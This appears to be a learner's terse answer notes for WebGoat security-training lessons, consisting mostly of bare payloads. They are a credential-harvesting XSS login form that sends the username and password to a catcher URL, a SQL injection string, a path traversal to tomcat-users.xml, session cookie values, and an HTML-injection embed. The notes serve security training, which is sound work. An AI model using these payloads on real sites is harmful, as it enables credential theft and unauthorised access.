XSS attack

Facebook <hr />
<h1>ERROR: You must be logged in to do that</h1><br /><br />

Username :<br> <input type="text" name="username"><br />
Password:<br> <input type="password" name="password"><br />

<input type="submit" value="Login" onclick="var xssImg=new Image();xssImg.src='http://localhost/webgoat/catcher?PROPERTY=yes&u='+this.form.username.value+'&p='+this.form.password.value;">

Facebook <hr /><h1>ERROR: You must be logged in to do that</h1><br /><br />Username :<br /> <input type="text" name="username"><br />Password:<br> <input type="password" name="password"><br /><input type="submit" value="Login" onclick="var xssImg=new Image();xssImg.src='http://localhost/webgoat/catcher?PROPERTY=yes&u='+this.form.username.value+'&p='+this.form.password.value;">

=============================================================
String SQL Injection

SELECT permissions FROM users 
WHERE user = 
AND password =

SELECT permissions FROM users
WHERE user = '   Neville   '
AND password = '  x' or 'a'='a   '

x' or 'a'='a

=============================================================
Path based Authentication Control Scheme

~/Desktop/WebGoat-5.3_RC1/tomcat/webapps/webgoat/lesson_plans/English
							   tomcat/conf/tomcat-users.xml
../../../../conf/tomcat-users.xml

=============================================================
webgoat's cookie
65432ubphcfx

aspect's cookie
65432udfqtb

alice
bmjdf
65432fdjmb
=============================================================
WIFI Example
"/><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/oHg5SJYRHA0&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/oHg5SJYRHA0&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><font color="black">@gmail.com